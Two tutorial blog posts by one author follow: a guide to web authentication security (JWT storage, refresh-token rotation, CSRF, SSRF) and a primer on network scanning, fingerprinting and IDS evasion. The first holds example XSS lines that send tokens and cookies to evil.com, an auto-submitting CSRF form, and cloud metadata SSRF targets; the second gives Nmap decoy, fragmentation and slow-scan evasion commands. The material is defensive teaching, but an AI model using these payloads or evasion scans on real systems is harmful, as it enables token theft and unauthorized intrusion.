Forem: Elvin Seyidov

Modern Web Authentication Security: JWT, Cookies, CSRF, and Common Developer Mistakes

Elvin Seyidov — Sun, 21 Dec 2025 19:35:53 +0000

A practical guide to understanding authentication security - what breaks, why it breaks, and how attackers exploit it.

Why Authentication Is the Most Common Security Failure

Authentication is where trust begins. If it fails, nothing else matters - not your encryption, not your firewall, not your fancy security tools.

Non-Tech Explanation

Your front door can have the best lock in the world, but if someone can copy your key or trick you into opening it, the lock doesn't matter.

Technical Explanation

Authentication failures consistently rank in the OWASP Top 10. Common issues include:

Weak password storage (MD5, SHA1 without salt)
Session fixation and hijacking
Improper token validation
Missing brute-force protection

🔐 Cybersecurity Perspective

Attackers don't break encryption - they bypass authentication. Credential stuffing, session hijacking, and token theft are cheaper and more effective than cryptographic attacks.

Why "login works" ≠ "login is secure"

What Developers Test	What Attackers Test
Valid credentials work	What happens with 10,000 wrong passwords?
User sees dashboard	Can I reuse a stolen token forever?
Logout button exists	Does logout actually invalidate the session?

Just because your login form returns a 200 OK doesn't mean it's secure.

Real-world consequences of auth bugs

2012 - LinkedIn: 6.5M password hashes leaked (unsalted SHA1)
2019 - Facebook: 540M user records exposed via session tokens
2021 - Twitch: Complete source code and auth systems leaked

These weren't exotic zero-days. They were authentication failures.

Sessions, Cookies, Tokens - What Are We Actually Using?

Before diving into attacks, let's clarify what we're protecting.

Non-Tech Explanation

When you log into a website, it gives you a "pass" to prove you're allowed in. That pass can be stored in different ways - some safer than others.

Sessions vs Stateless Auth

Aspect	Sessions	Stateless Tokens (JWT)
Where state lives	Server (database/memory)	Client (token itself)
Scalability	Harder (shared state)	Easier (no server state)
Revocation	Easy (delete session)	Hard (token valid until expiry)
Server load	Higher	Lower

Sessions: Server remembers you.

Tokens: You carry proof of who you are.

Cookies vs Headers (Mental Model)

Storage	Sent Automatically?	JS Access?	CSRF Risk?	XSS Risk?
Cookie	✅ Yes	Depends on HttpOnly	✅ Yes	Lower with HttpOnly
Header (Bearer)	❌ No (JS must add it)	✅ Yes (must store somewhere)	❌ No	Higher

Key insight: Cookies are sent automatically by the browser. Headers require JavaScript to attach them. This single difference changes your entire threat model.

How XSS Steals Authentication

Cross-Site Scripting (XSS) is when an attacker injects malicious JavaScript into your page.

Non-Tech Explanation

Imagine someone sneaking a spy into your house who reads all your mail and sends copies to a stranger.

What XSS Can Access

If an attacker can run JavaScript on your page, they can:

// Steal from localStorage
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));

// Steal from sessionStorage
fetch('https://evil.com/steal?token=' + sessionStorage.getItem('token'));

// Read non-HttpOnly cookies
fetch('https://evil.com/steal?cookie=' + document.cookie);

Why Tokens in JavaScript Storage Are Dangerous

Storage Location	XSS Can Steal It?
localStorage	✅ Yes
sessionStorage	✅ Yes
JavaScript variable	✅ Yes
HttpOnly Cookie	❌ No

Cybersecurity perspective: Any token accessible to JavaScript is accessible to XSS. If your app has even one XSS vulnerability, all tokens in JS storage are compromised.

Why HttpOnly Cookies Matter

Non-Tech Explanation

It's like putting your valuables in a safe that only the bank can open - not even you can touch them directly.

What HttpOnly Actually Protects

Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Lax

With HttpOnly:

✅ Browser sends cookie automatically
❌ JavaScript cannot read it
❌ XSS cannot steal it

What It Does NOT Protect

HttpOnly cookies are still:

Sent with every request (CSRF risk)
Visible in browser dev tools
Stored on disk (local access risk)
Sent to attackers if they can make your browser send requests (CSRF)

Bottom line: HttpOnly protects against XSS token theft but introduces CSRF risk. You're trading one threat for another.

Access Tokens vs Refresh Tokens

Two tokens, two purposes, two threat models.

Non-Tech Explanation

Access token: A day pass to the building
Refresh token: A card that lets you get new day passes

If someone steals your day pass, they have access for a day. If they steal your renewal card, they have access until you cancel it.

Different Threat Models

Token	Lifetime	Storage	Theft Impact
Access	Short (10-15 min)	Memory/Header	Limited window
Refresh	Long (days/weeks)	HttpOnly Cookie	Long-term access

Why Mixing Them Is Dangerous

❌ Don't do this:

Storing refresh tokens in localStorage
Making access tokens last for days
Using one token for everything

✅ Do this:

Short-lived access tokens (minutes)
HttpOnly cookie for refresh tokens
Rotation on every refresh

Why JWT Authentication Fails in Real Systems

JWTs are not inherently insecure - but how developers use them often is.

🔧 Common JWT Failures

1. Long-Lived Tokens

// ❌ Token valid for 30 days
{ "exp": 1735689600, "user_id": 123 }

If stolen, attacker has 30 days of access.

2. No Rotation

Using the same refresh token until expiry. If stolen, no way to detect reuse.

3. No Revocation

JWTs are stateless. Without a blacklist or database check, you cannot invalidate a token before expiry.

4. No Audit Trail

No logging of token issuance, refresh, or suspicious activity. You won't know you've been breached.

🔐 Cybersecurity Perspective

JWTs shift security responsibility from server to implementation. Most implementations get it wrong by treating tokens as "set and forget."

Token Rotation & Reuse Detection (The Missing Layer)

This is what separates secure implementations from tutorials.

Non-Tech Explanation

Every time you use your renewal card, you get a new one and the old one is destroyed. If someone tries to use your old card, alarms go off.

What Rotation Really Means

Login → Refresh Token A
Use A  → Token A revoked, get Token B
Use B  → Token B revoked, get Token C

Each refresh token is single-use. Old tokens become invalid immediately.

How Token Theft Becomes Detectable

Scenario: Attacker steals Token A

Legitimate user: Uses Token A → Gets Token B (A revoked)
Attacker:        Tries Token A → Already revoked!
                 → Revoke ALL tokens for this user
                 → Log TOKEN_REUSE_DETECTED event
                 → Force re-authentication

Without rotation: Attacker uses stolen token silently for days.

With rotation: Theft triggers detection within one refresh cycle.

Cookies vs Headers: XSS vs CSRF

You must choose your vulnerability - there is no perfect solution.

Non-Tech Explanation

You can lock the front door or the back door - but you only have one lock.

Threat Comparison Table

Aspect	localStorage + Header	HttpOnly Cookie
XSS can steal token	✅ Yes	❌ No
CSRF can use token	❌ No	✅ Yes (needs mitigation)
Requires JS to send	✅ Yes	❌ No (automatic)
Mobile/API friendly	✅ Yes	⚠️ Complicated

Choosing the Lesser Evil

For web apps with good XSS hygiene: Headers might be acceptable.

For apps where XSS is possible: HttpOnly cookies are safer (but add CSRF protection).

Most secure approach:

Access token → Memory only (not localStorage)
Refresh token → HttpOnly cookie with CSRF protection

CSRF Explained Simply (And Why It Still Matters)

Non-Tech Explanation

Imagine someone sends you a letter that says "Sign this" and you sign it without reading. You just authorized something you didn't intend to.

How CSRF Actually Works

User logs into bank.com (cookie stored)
User visits evil.com
Evil site has hidden form:

<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

Browser sends request to bank.com with user's cookies
Bank sees valid session → Transfers money

Why Cookies Change the Threat Model

Headers: Attacker's site cannot add your Authorization header
Cookies: Browser automatically includes them for that domain

This is why cookie-based auth requires CSRF tokens.

CSRF vs SSRF - Why Developers Confuse Them

Same acronym pattern, completely different attacks.

Non-Tech Explanation

CSRF: Tricking your browser into making a request
SSRF: Tricking a server into making a request

Why the Names Are Misleading

Aspect	CSRF	SSRF
Full name	Cross-Site Request Forgery	Server-Side Request Forgery
Who is tricked?	User's browser	Server/backend
Who makes the request?	Client	Server
Target	Authenticated user actions	Internal resources

Client-Side Trust vs Server-Side Trust

CSRF exploits: "The server trusts requests from authenticated browsers"

SSRF exploits: "The server trusts URLs provided by users"

Why SSRF Is NOT Solved by CSRF Tokens

CSRF tokens protect user-initiated actions. SSRF happens when your server fetches arbitrary URLs:

# Vulnerable to SSRF
def fetch_image(url):
    response = requests.get(url)  # What if url = "http://169.254.169.254/metadata"?
    return response.content

SSRF in Authentication & OAuth Flows

Authentication services are high-value SSRF targets.

🔐 Cybersecurity Perspective

Auth systems often need to:

Fetch user info from identity providers
Validate tokens against external services
Exchange authorization codes

Each of these is a potential SSRF vector.

Token Exchange Endpoints

# OAuth token exchange - vulnerable if 'token_endpoint' is user-controlled
def exchange_code(code, token_endpoint):
    response = requests.post(token_endpoint, data={'code': code})

If attacker controls token_endpoint, they can point it to internal services.

OAuth Callbacks

Legitimate: https://app.com/callback?code=abc123
Attack:     https://app.com/callback?code=abc123&redirect_uri=http://internal-admin/

Metadata Service Abuse (Cloud Environments)

Cloud providers expose metadata at predictable URLs:

AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/
Azure: http://169.254.169.254/metadata/

If your auth service has SSRF, attackers can steal cloud credentials.

Why Auth Services Are High-Value SSRF Targets

Often have elevated permissions
Connect to multiple external services
Handle sensitive tokens and secrets
May have access to internal APIs

SameSite Cookies: Lax vs Strict vs None

Browser-level CSRF protection.

Non-Tech Explanation

You can tell the browser: "Only send my cookie if the request comes from my own website."

Comparison

SameSite	Cross-Site GET	Cross-Site POST	Use Case
Strict	❌ Blocked	❌ Blocked	Maximum security (may break OAuth)
Lax	✅ Allowed	❌ Blocked	Good balance
None	✅ Allowed	✅ Allowed	Third-party embeds (requires Secure)

Why Lax Is Often the Real-World Choice

Strict breaks:

OAuth redirects (user clicks link from email → no cookie → logged out)
External links to your app
Payment callbacks

Lax protects against:

CSRF POST attacks
Most dangerous cross-site actions

OAuth and Redirect Implications

OAuth flow:

1. User on app.com → redirected to google.com
2. User authenticates
3. Google redirects back to app.com/callback

With SameSite=Strict: Step 3 won't include cookies (redirect = cross-site navigation).

With SameSite=Lax: Works correctly (top-level navigation allowed).

Why Logout Must Always Succeed

Subtle security issue often overlooked.

Non-Tech Explanation

If you ask "Is this key valid?" and the answer is "No such key exists," you just learned something you shouldn't.

Token Existence Leaks

❌ Bad implementation:

def logout(token):
    if not token_exists(token):
        return {"error": "Token not found"}, 404
    revoke(token)
    return {"success": True}

Attacker can enumerate valid tokens by checking responses.

✅ Correct implementation:

def logout(token):
    revoke_if_exists(token)  # Silent if not found
    return {"success": True}, 200  # Always succeed

Security Over UX Correctness

Sometimes "correct" behavior is insecure:

Telling users "email not registered" helps attackers enumerate accounts
Returning different errors for "wrong password" vs "user not found" leaks info
Logout failing on invalid token confirms token validity

Design for silence: Don't reveal internal state through responses.

OAuth Is Not a Login System

Common misconception causes real vulnerabilities.

Non-Tech Explanation

OAuth is like a valet key - it gives limited access to your car, but it doesn't prove you own the car.

What OAuth Solves

OAuth answers: "Does this user allow App X to access their data on Service Y?"

OAuth does NOT answer: "Who is this user?"

Common Misconceptions

What Developers Think	Reality
OAuth = Login	OAuth = Authorization (not authentication)
Access token = User ID	Access token = Permission grant
"Login with Google" = OAuth	That's OpenID Connect (OAuth + identity layer)

The Security Problem

Using OAuth access tokens as identity proof:

# ❌ Dangerous
def get_user(access_token):
    # Token only proves authorization, not identity
    user_data = google.get_user_info(access_token)
    return login_as(user_data['email'])

Token might be:

Issued to a different app
Stolen from another context
Issued for different permissions

Use OpenID Connect (OIDC) for authentication. It adds id_token which proves identity.

How Attackers Abuse Broken Refresh Flows

Refresh tokens are long-term credentials. Broken flows = persistent access.

Token Replay

Scenario: No rotation, tokens work until expiry

Day 1: Attacker steals refresh token
Day 30: Token still works
Day 60: Token still works
Day 90: Finally expires

Three months of silent access.

Silent Session Hijacking

With broken implementation:

Attacker steals token
Attacker uses it periodically
Legitimate user never notices (their session still works)
No detection, no logs, no alerts

With proper rotation:

Attacker steals token
Legitimate user refreshes → old token revoked
Attacker tries stolen token → DETECTED
All tokens revoked, security alert generated

Long-Term Account Takeover

Without revocation:

Change password? Attacker still has valid token
Security concern? No way to kill existing sessions
Data breach? All issued tokens still work

Brute Force, Rate Limiting & Audit Logs

Authentication security isn't just cryptography.

Non-Tech Explanation

Even the strongest lock can be picked if you give a thief unlimited attempts and no one watches them try.

Why Detection Matters

Protection Layer	What It Prevents
Strong passwords	Easy guessing
Proper hashing (Argon2)	Offline cracking
Rate limiting	Automated attacks
Account lockout	Sustained brute force
Audit logging	Silent compromise

Implementing Defense in Depth

def authenticate(email, password, ip):
    # 1. Rate limiting
    if is_rate_limited(ip):
        return error("Too many attempts")

    # 2. Account lockout
    if is_locked(email):
        return error("Account locked")

    # 3. Actual authentication
    user = verify_credentials(email, password)

    # 4. Audit logging (always)
    log_auth_event(
        type="SUCCESS" if user else "FAILED",
        email=email,
        ip=ip
    )

    # 5. Track failures
    if not user:
        record_failed_attempt(email, ip)

Audit Logs Enable Incident Response

Without logs:

"We think there was unauthorized access sometime last month."

With logs:

"At 3:47 AM on March 15, IP 192.168.1.100 successfully authenticated as admin@example.com after 47 failed attempts from IP 45.33.32.156."

Admin Authentication Is a Different Problem

Admin access requires different security controls.

Non-Tech Explanation

The security guard at the front desk doesn't need the same clearance as someone entering the vault.

Why Admin ≠ User Auth

Aspect	User Auth	Admin Auth
Attack surface	Public internet	Should be restricted
Threat actors	General attackers	Targeted attacks
Risk level	Account compromise	System compromise
Protection	Application-level	Infrastructure-level

Network-Layer Protection in Real Systems

Production admin access should be protected by:

IP allowlists: Only office/VPN IPs can access admin
VPN requirement: Admin panel not on public internet
Zero Trust: Every request verified, no implicit trust
Bastion hosts: Admin access only through hardened jump servers
Network segmentation: Admin services on separate network

Why This Matters

Your user auth can be perfect, but if admin is accessible from the internet with just a password, one phished credential = game over.

Common Authentication Mistakes Developers Make

The hits list of auth failures.

1. localStorage Tokens

// ❌ XSS can steal this
localStorage.setItem('token', response.access_token);

Why it's bad: Any XSS vulnerability = complete token theft.

2. No Rotation

# ❌ Same token forever
refresh_token = generate_token()
save_to_db(refresh_token, expires=datetime.now() + timedelta(days=30))

Why it's bad: Stolen tokens work until expiry.

3. Leaky Error Messages

# ❌ Reveals user existence
if not user_exists(email):
    return {"error": "User not found"}
if not password_matches:
    return {"error": "Wrong password"}

Why it's bad: Attackers can enumerate valid emails.

4. Over-Trusting JWT

# ❌ No verification of token revocation
def get_user(token):
    payload = jwt.decode(token)  # Only checks signature and expiry
    return User.objects.get(id=payload['user_id'])

Why it's bad: Revoked/rotated tokens still work.

5. Missing Refresh Token Persistence

# ❌ Stateless refresh tokens
refresh_token = jwt.encode({'user_id': user.id, 'exp': ...})
# No database record = no rotation = no revocation

Why it's bad: Cannot detect reuse or force logout.

Putting It All Together: What Secure Auth Actually Looks Like

After covering all these concepts, here's what a properly implemented authentication system should include:

The Complete Checklist

Layer	What You Need	Why It Matters
Password Storage	Argon2 or bcrypt with proper cost	Memory-hard, GPU-resistant
Brute-Force Protection	Rate limiting per IP and email	Blocks automated attacks
Audit Logging	All auth events recorded	Enables incident response
Access Tokens	Short-lived (10-15 min), in memory	Limits damage window
Refresh Tokens	Database-backed, HttpOnly cookie	Enables rotation and revocation
Token Rotation	Single-use refresh tokens	Makes theft detectable
Reuse Detection	Revoke all on reuse	Turns theft into visible event
CSRF Protection	Token required for cookie-based auth	Prevents cross-site abuse
Generic Errors	Same message for all failures	No user enumeration

Why Most Tutorials Fall Short

Most tutorials teach you to:

Hash password with bcrypt ✓
Generate JWT ✓
Return it to client ✓

Then stop.

Real-world security requires everything above the basics:

What happens when a token is stolen?
How do you force logout?
How do you detect attacks?
How do you investigate incidents?

If you can't answer these questions, your auth system isn't production-ready.

Final Thoughts: Design for Failure, Not Perfection

Security is not about preventing all attacks. It's about:

Limiting blast radius: Short token lifetimes, minimal permissions
Detecting compromise: Audit logs, reuse detection
Enabling response: Revocation, forced re-auth
Layered defense: If one control fails, others catch it

Key Takeaways

Principle	What It Means
Authentication is where trust starts	Get it wrong and nothing else matters
XSS vs CSRF is a tradeoff	Understand it before choosing storage
Tokens expire, but theft is immediate	Rotation makes theft detectable
Logging is not optional	You can't investigate what you didn't record
Admin access is different	Protect it at the network layer

The Security Mindset

Don't ask: "How do I make this secure?"

Ask: "When this is breached, how will I know and what will I do?"

Networking for Cybersecurity (Part 5): Scanning, Enumeration & Fingerprinting

Elvin Seyidov — Wed, 10 Dec 2025 17:03:28 +0000

1. Introduction: Mapping and Understanding Your Target

When I started learning cybersecurity, one thing quickly became clear: before you test anything, you must understand what you are testing. Scanning, enumeration and fingerprinting are not random actions. They are like creating a map of a place you want to explore.

In networking, every device, server, router or application gives off small signals. Open ports, banners, headers, protocols, timing patterns. When we collect these signals, we start to build a picture of the target. This picture helps us understand what is possible, what is allowed, and where misconfigurations might exist.

So in this part, I am focusing on how to “see” the network. How to discover hosts, identify services, and collect information without touching anything aggressively. This is the beginning of almost every cybersecurity process.

2. What Scanning, Enumeration & Fingerprinting Really Mean

Scanning: Checking What Is Alive and What Is Open

Scanning is like walking down a street and seeing which doors exist.
Not opening them. Just seeing:

Which hosts respond
Which ports are open
Which services might be exposed
How the network reacts to probes

This step answers “What is out there?”

Examples:

Host discovery (ping, ARP)
Port scanning (open, closed, filtered)
Basic protocol checks

It gives a surface view of the environment.

Enumeration: Asking for Details

Enumeration goes a level deeper.
Here you start interacting with services to ask them for information.
Still not attacking, just requesting what they naturally reveal.

This step answers “What can I learn about these open services?”

Examples:

Banner grabbing
Listing users on SMB, FTP, or LDAP
Detecting protocol versions
Trying default credentials (when allowed)

Enumeration starts giving actual data that can later lead to vulnerabilities.

Fingerprinting: Identifying the System Behind the Service

Fingerprinting is about recognizing the identity of the device or service:

What operating system does it run?
Which version?
What framework or tech stack?
Any unique behavior or response pattern?

This step answers “What exactly am I talking to?”

Fingerprinting uses patterns like:

TCP/IP stack behavior
TTL values
Window sizes
HTTP headers
TLS fingerprints
Timing responses

Fingerprinting helps you build a clear identity profile of the target.

How I Visualize the Three Stages Together

Scanning → Discover that a house exists
Enumeration → Learn that it has 3 floors, 2 doors, 4 windows
Fingerprinting → Identify that it’s a concrete building built in 2018

These three steps help create a full picture without exploiting anything.
They are the foundation of almost all penetration tests and defensive analysis.

3. Port Scanning Fundamentals (Open, Closed, Filtered)

Port scanning simply means sending packets to a port and watching how the target responds. Based on that reaction, we categorize the port.

Open Port

An open port means a service is running and ready to communicate.
If you send a SYN packet to a port, you get a SYN-ACK back.
This tells me:

A service exists on that port
I can continue with enumeration
It might have a version or banner to read

Examples of common open ports:

22 for SSH
80 or 443 for web servers
3306 for MySQL
53 for DNS

Closed Port

A closed port means the target is alive but nothing is running there.
You send a SYN packet and get an RST back.

This tells me:

The host is reachable
The port is not used
There is no firewall blocking that packet

A closed port still gives useful information because it confirms the host exists and is responding normally.

Filtered Port

A filtered port is the interesting one. Something blocks your packets.
You send a SYN, but you get no response or a special ICMP message.

This tells me:

A firewall or router is filtering traffic
The port might be open or closed
The system is intentionally hiding details

Filtered ports usually appear when:

Firewalls drop SYN packets silently
IDS or IPS rate-limit your scan
The network uses strict security rules

This is the port state that pushes attackers to use stealth techniques.

Open means service is active

Closed means no service but host is alive

Filtered means firewall is hiding or blocking

4. TCP SYN Scan, UDP Scan & Stealth Techniques

TCP SYN Scan

Also called half open scan Used by Nmap with the flag -sS

This scan sends a SYN packet and waits for a response. If the port is open, the target replies with SYN-ACK. Normally, a client would respond back with ACK to complete the handshake. But in a SYN scan, the handshake is never completed. Instead, the scanner sends RST and closes the connection.

Why this is useful for me:

It is fast
It does not fully complete the handshake
Many systems do not log it as a real connection
It is the most common scan used in pentesting

How SYN scan behaves:

Open port: SYN-ACK
Closed port: RST
Filtered port: no response or ICMP block

UDP Scan

Used by Nmap with -sU

UDP scanning is more difficult because UDP has no handshake. It does not respond unless the service chooses to reply. Because of that, UDP scans are usually slower and less predictable.

Typical behavior:

If the port is closed: the target sends ICMP port unreachable
If the port is open: usually no response
If filtered: no reply at all or ICMP block message

Why UDP scans matter:

Many important services use UDP like DNS, DHCP, SNMP
Attackers always check these since admins often forget them
Lack of response itself becomes information

UDP scans teach me patience because they are slow and often look confusing, but they show a part of the attack surface that TCP cannot reveal.

Stealth Techniques

Stealth scanning focuses on avoiding firewalls, rate limits and intrusion detection systems. These techniques try to reduce noise and make the scan look less suspicious.

Some common stealth ideas:

Fragmented packets
Breaking the scan packet into smaller pieces so some firewalls cannot reassemble them properly.
Slow scans
Sending packets very slowly to avoid detection by IDS that look for fast scanning patterns.
Spoofed packets
Using fake source addresses to confuse network logs.
Decoy scans
Mixing your real scan with many fake IPs so the target cannot identify the real source.
Randomized port order
Instead of scanning ports in order, scanning them in random sequences.

Why stealth techniques matter:

They show how real attackers think
They teach defenders what to protect against
They help me understand how IDS systems detect patterns

SYN scan is the fastest and most practical for TCP

UDP scan is slow but reveals services that TCP never shows

Stealth techniques teach how attackers try to stay hidden

5. Service Enumeration (Banner Grabbing, Protocol Detection)

Service enumeration is the stage where I stop guessing what is behind a port and start collecting actual details. Scanning tells me which ports are open. Enumeration tells me what is running on those ports, which versions, and sometimes even who configured them.

Banner Grabbing

A banner is a small message that many services send when you connect to them.

It can reveal:

Service name
Version
Operating system hints
Configuration details
Sometimes admin mistakes

For example, connecting to port 22 (SSH) often shows something like this:

SSH-2.0 OpenSSH 8.9 Ubuntu

This one line already tells me:

It is SSH
It uses OpenSSH
Version 8.9
Running on Ubuntu

Why banners matter for me as a learner:

They help identify outdated versions
They guide the next steps of research
They show real world misconfigurations
Basic Banner Grabbing

nmap -sV 192.168.1.10

Aggressive Banner Grabbing

nmap -A 192.168.1.10

Banner Grabbing on a Specific Port

nmap -sV -p 22 192.168.1.15

Banners can be read with simple tools like netcat or more advanced ones like Nmap.

Protocol Detection

Not every service shows a banner. In those cases, tools try to identify the protocol by sending small test packets and analyzing how the service responds.

This can reveal:

Whether the service is HTTP, HTTPS, FTP, SSH, SMTP, DNS or something else
Which version of the protocol it uses
If encryption is used
How the server reacts to malformed packets

Nmap uses hundreds of small tests to guess protocol behavior. Even if a banner is hidden, protocol fingerprints still reveal what service is behind the port.

Some examples:

HTTP servers respond with headers
DNS servers answer queries in a specific way
FTP servers follow a predictable greeting pattern
TLS servers expose a list of supported ciphers

These patterns help tools identify services even when admins try to hide them.

6. OS Fingerprinting (Active & Passive Methods)

OS fingerprinting is the process of figuring out what operating system a target is running. This helps understand how the system behaves, which vulnerabilities might apply, and what kind of environment you are dealing with.

Active OS Fingerprinting

Active means you send packets to the target and look at how it responds. Every operating system has small differences in its TCP/IP stack. These differences act like a fingerprint.

Some things that tools look at:

TTL values
Window sizes
How the system responds to malformed packets
Order of TCP flags
ICMP message patterns
Initial sequence numbers

Nmap is the most popular tool for active fingerprinting.

Nmap OS detection command:

nmap -O <target>

If combined with version detection:

nmap -A <target>

*Downside:
*> - It is noisy

Firewalls can detect it

Some systems block fingerprint probes

Passive OS Fingerprinting

Passive fingerprinting does not send anything to the target.
Instead, it listens to traffic and identifies OS characteristics based on what the system is already sending out.

Tools like p0f do this very well.

What passive fingerprinting observes:

TTL of outgoing packets
TCP window size
MSS values
Options inside SYN packets
Delay patterns
Fragmentation behavior

Why passive is important:

Completely silent
No packets sent to the target
Hard to detect
Useful for monitoring networks

This technique is often used by security teams to silently detect unknown devices or identify suspicious machines.

Active fingerprinting:
I poke the system and watch how it reacts. More details but more noise.
Passive fingerprinting:
I only listen. No noise but less detail.

7. Network Mapping Tools: Nmap, Masscan, RustScan

When I reached this part of my learning, I realized that every scanning tool has a different purpose. They are not competitors. Instead, they are good at different things. Understanding when to use which tool makes scanning much easier.

Nmap

The most complete and most flexible scanner
Nmap is like the Swiss Army knife of network scanning. It can do almost everything: port scanning, service detection, OS detection, NSE scripts, traceroute and more.

What Nmap is best at:

Detailed results
Reliable service and version detection
OS fingerprinting
Huge script library for enumeration
Complex and deep scans

Nmap is slower than Masscan and RustScan, but it gives the most accurate picture.

Common commands:

nmap <target>
nmap -sV <target>
nmap -A <target>
nmap -O <target>

Masscan

The fastest port scanner in the world
Masscan is designed for speed. It can scan the entire internet in minutes. It does not do deep analysis. It only tells you which ports are open.

What Masscan is best at:

Extremely fast scanning
Large networks
Initial discovery
Quick mapping

Masscan uses a custom TCP/IP stack, so it behaves differently than Nmap.

Basic Masscan example:

masscan -p1-65535 192.168.1.0/24 --rate 10000

Reasons to use Masscan:

You want to discover open ports quickly

You want to scan huge IP ranges

You plan to feed results into Nmap later

RustScan

Fast like Masscan but working together with Nmap
RustScan is a modern tool written in Rust. Its idea is simple:
Use Masscan-style speed to find open ports, then automatically run Nmap to analyze them.

So RustScan is like a bridge:

Masscan speed
Nmap intelligence

Why I like RustScan:

Very fast
Easy to use
Perfect for beginners
Automatically hands ports to Nmap

Basic command:

rustscan -a <target>

Use Masscan or RustScan to find open ports quickly

Use Nmap to deeply analyze those ports

Use Nmap scripts for extra details

8. Web Fingerprinting (Tech Stack, Frameworks, Headers)

Web fingerprinting is simply understanding what the website is built with.
Knowing the tech stack helps you:

Predict vulnerabilities
Understand the attack surface
Identify outdated technologies
Know which enumeration techniques apply
Understand the logic flowing behind the website

It is not about attacking. It is only observing what the site already exposes.

HTTP Response Headers
Headers often reveal:

Server type (Apache, Nginx, IIS)
Framework hints (PHP, Express, Django)
Security tools like Cloudflare or WAFs
Compression type
Caching behavior
Supported methods

URL Patterns and Routing

Different frameworks have unique routing styles:

Django often uses urls ending in a forward slash
Laravel uses /public/index.php style patterns
WordPress exposes /wp-admin/
Node.js Express often shows API paths like /api/v1/

These small patterns help identify the backend.

Page Source and JavaScript

Viewing source code sometimes shows:

Comments left by developers
JS build tools like React or Vue
File structure (like /static/, /assets/, /wp-content/)
Minified frameworks
API endpoints

Even filenames like bundle.js can reveal React or Vue.

TLS Fingerprinting

SSL/TLS configuration can identify:

Web server type
Operating system
Supported ciphers
Age of the server configuration

Tools like sslyze, openssl, or nmap --script ssl-enum-ciphers help with this.

Cookies and Session Identifiers

Cookie structures can also give clues:

csrftoken is common in Django
laravel_session is Laravel
PHPSESSID is PHP default
JSESSIONID is Java-based apps

Cookies often reveal the framework even when headers are hidden.

Here are the tools that helped me understand web identification quickly:

Wappalyzer
WhatWeb
Nmap Scripts
Curl

9. Vulnerability Scanning vs Enumeration (Key Differences)

Enumeration

Finding information that the system openly provides
Enumeration is part of reconnaissance. You are not testing weaknesses. You are only collecting details like:

Service versions
OS information
Open ports
Protocol behavior
User lists (if allowed)
DNS records
Website frameworks

Enumeration answers the question:
What is running here and how does it behave?

Examples:

Banner grabbing
Protocol detection
DNS zone transfers
Enumerating SMB shares
Reading HTTP headers

Enumeration is not aggressive.
It is simply asking questions and reading answers.

Vulnerability Scanning

Checking if known weaknesses apply to the system

Vulnerability scanners compare what they find against a huge database of known issues like outdated software, missing patches, default configurations and misconfigurations.

Vulnerability scanning answers the question:
Is anything here vulnerable?

Examples of what scanners check:

Outdated versions
Weak SSL ciphers
Missing patches
Misconfigured services
Known CVEs
Default credentials
Weak authentication

Common tools:

Nessus
OpenVAS
Qualys
Nikto (for web servers)

Enumeration

You identify what is there.

You observe.

Useful for mapping and understanding the environment.

Vulnerability Scanning

You check if what you found is weak.

You test.

Useful for finding real risk and security gaps.

Understanding this difference helped me in many ways:

Enumeration always comes first
Without enumeration, scanners produce noisy results
Enumeration reveals context while vulnerability scanners reveal weaknesses
Attackers use both, but in different phases

Enumeration builds the map.
Vulnerability scanning shows where the cracks are in that map.

10. Evading Detection: IDS, Timeouts & Rate Control

Many companies use IDS or IPS systems to detect unusual traffic. If your scan is too fast, too obvious or too repetitive, it gets flagged immediately.

IDS

Intrusion Detection System
It watches traffic and alerts when something suspicious happens.

IPS

Intrusion Prevention System
It not only detects but also blocks or drops your traffic.

Why Scans Get Detected?
IDS tools look for patterns like:

Too many ports scanned in a short time
Sequential scanning patterns
Unexpected packet flags
Abnormal connection attempts
Known fingerprinting signatures

Techniques Used to Evade Detection

1. Slowing Down the Scan
If you scan too fast, IDS sees the pattern immediately.
Slow scans hide these patterns.

Nmap example:

nmap -T2 <target>

2. Randomizing Port Order
Instead of scanning ports in order 1, 2, 3, 4…
The scan jumps in random order.

Nmap example:

nmap --randomize-hosts --scan-delay 1s <target>

3. Packet Fragmentation
Splitting packets into smaller pieces so firewalls cannot reassemble them properly.

Nmap example:

nmap -f <target>

4. Decoy Scans
Mixing your real IP with fake IPs so the target cannot identify which one is real.

Example:

nmap -D 192.168.1.10,192.168.1.20,ME <target>

5. Spoofed Source Addresses

Sending traffic that looks like it comes from somewhere else.
Used in research but not practical without handling replies correctly.

6. Adjusting Rate Control

Masscan, Nmap and RustScan allow changing packet rate.
Lower rate means less suspicious traffic.

Masscan example:

masscan -p80 <target> --rate 100

Fast scanning:

--rate 100000

Stealth scanning:

--rate 100

Timeouts and Delays

Some firewalls delay responses intentionally.
Some IDS tools use timeout analysis to detect scanning.
Slow scans avoid these traps by sending fewer packets per second.

A rule that helped me understand:

Fast scan equals loud
Slow scan equals quiet

This is why stealth scanning is often a patience game.

IDS looks for patterns in traffic

IPS can block scanning completely

Stealth scanning avoids predictable patterns

Slow and random scans reduce detection

Firewalls and IDS systems influence scan results

11. Ethical & Legal Rules of Scanning

Many people think running Nmap on random targets is harmless, but it is not. Even a basic port scan is considered interaction with someone else's system.

Scanning Without Permission Can Be Illegal

In many countries, scanning someone else's server without permission is viewed as:

Attempting unauthorized access
Preparation for intrusion
Interference with someone else's infrastructure

Even if you do not attack anything, just scanning can be treated as an offense.

This was a big wake-up call for me as a beginner.

Always Have Written Permission

If you want to scan a system that is not yours, you must have:

Explicit permission
Preferably written permission
Clear scope of what you are allowed to test

In real companies, this is called a Rules of Engagement document.

Understand Impact of Scanning
Some scans can unintentionally cause problems:

Aggressive scans can overload weak servers
UDP scans can trigger alarms
Fragmented packets may confuse network devices
IDS logs may alert administrators
You must understand the impact before scanning.

Responsible Disclosure

If you discover a real vulnerability:

Do not exploit it
Do not share it publicly immediately
Contact the organization privately
Give them time to fix it

Many companies have bug bounty or security email channels.

12. Summary and Final Steps in Networking for Cybersecurity Series

In this final part, you explored how networks are mapped, scanned, and fingerprinted. You learned how port scanning works, how enumeration reveals services and versions, how fingerprinting identifies operating systems and technologies, and how attackers and defenders both rely on these techniques. This completes your foundational knowledge of networking from a cybersecurity perspective.

